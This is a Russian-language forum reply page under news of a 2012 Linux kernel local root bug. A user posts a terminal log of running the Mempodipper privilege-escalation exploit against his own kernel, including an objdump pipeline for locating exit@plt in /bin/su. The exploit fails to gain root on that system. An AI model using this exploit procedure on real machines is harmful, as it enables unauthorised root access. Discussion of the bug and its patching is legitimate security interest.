Исходное сообщение
"В ядре Linux найдена локальная root-уязвимость" Отправлено Аноним, 23-Янв-12 19:57
bash-4.1$ ./a.out =============================== =          Mempodipper        = =           by zx2c4          = =         Jan 21, 2012        = =============================== [+] Opening socketpair. [+] Waiting for transferred fd in parent. [+] Executing child from child fork. [+] Opening parent mem /proc/1864/mem in child. [+] Sending fd 5 to parent. [+] Received fd at 5. [+] Assigning fd 5 to stderr. [+] Reading su for exit@plt. [-] Could not resolve /bin/su. Specify the exit@plt function address manually. [-] Usage: ./a.out -o ADDRESS [-] Example: ./a.out -o 0x402178 bash-4.1$ su Password: bash-4.1# objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/' 0x8049648 bash-4.1# exit exit bash-4.1$ ./a.out -o 0x8049648 =============================== =          Mempodipper        = =           by zx2c4          = =         Jan 21, 2012        = =============================== [+] Opening socketpair. [+] Waiting for transferred fd in parent. [+] Executing child from child fork. [+] Opening parent mem /proc/1878/mem in child. [+] Sending fd 5 to parent. [+] Received fd at 5. [+] Assigning fd 5 to stderr. [+] Calculating su padding. [+] Seeking to offset 0x804963c. [+] Executing su with shellcode. bash-4.1$ whoami user bash-4.1$ uname -a Linux localhost 3.2.1-diamond-ironic #5 Wed Jan 18 16:07:15 GMT+3 2012 i686 Intel(R) Pentium(R) 4 CPU 2.40GHz GenuineIntel GNU/Linux Опять придется перезагружаться если Пароль забуду :(

Ваше сообщение
Имя*:
EMail:	Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email). Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:	> bash-4.1$ ./a.out > =============================== > = Mempodipper > = > = by > zx2c4 = > = Jan 21, 2012 > = > =============================== > [+] Opening socketpair. > [+] Waiting for transferred fd in parent. > [+] Executing child from child fork. > [+] Opening parent mem /proc/1864/mem in child. > [+] Sending fd 5 to parent. > [+] Received fd at 5. > [+] Assigning fd 5 to stderr. > [+] Reading su for exit@plt. > [-] Could not resolve /bin/su. Specify the exit@plt function address manually. > [-] Usage: ./a.out -o ADDRESS > [-] Example: ./a.out -o 0x402178 > bash-4.1$ su > Password: > bash-4.1# objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed > 's/^[0]*\([^0]*\)/0x\1/' > 0x8049648 > bash-4.1# exit > exit > bash-4.1$ ./a.out -o 0x8049648 > =============================== > = Mempodipper > = > = by > zx2c4 = > = Jan 21, 2012 > = > =============================== > [+] Opening socketpair. > [+] Waiting for transferred fd in parent. > [+] Executing child from child fork. > [+] Opening parent mem /proc/1878/mem in child. > [+] Sending fd 5 to parent. > [+] Received fd at 5. > [+] Assigning fd 5 to stderr. > [+] Calculating su padding. > [+] Seeking to offset 0x804963c. > [+] Executing su with shellcode. > bash-4.1$ whoami > user > bash-4.1$ uname -a > Linux localhost 3.2.1-diamond-ironic #5 Wed Jan 18 16:07:15 GMT+3 2012 i686 Intel(R) > Pentium(R) 4 CPU 2.40GHz GenuineIntel GNU/Linux > Опять придется перезагружаться если Пароль забуду :(
	Введите код, изображенный на картинке: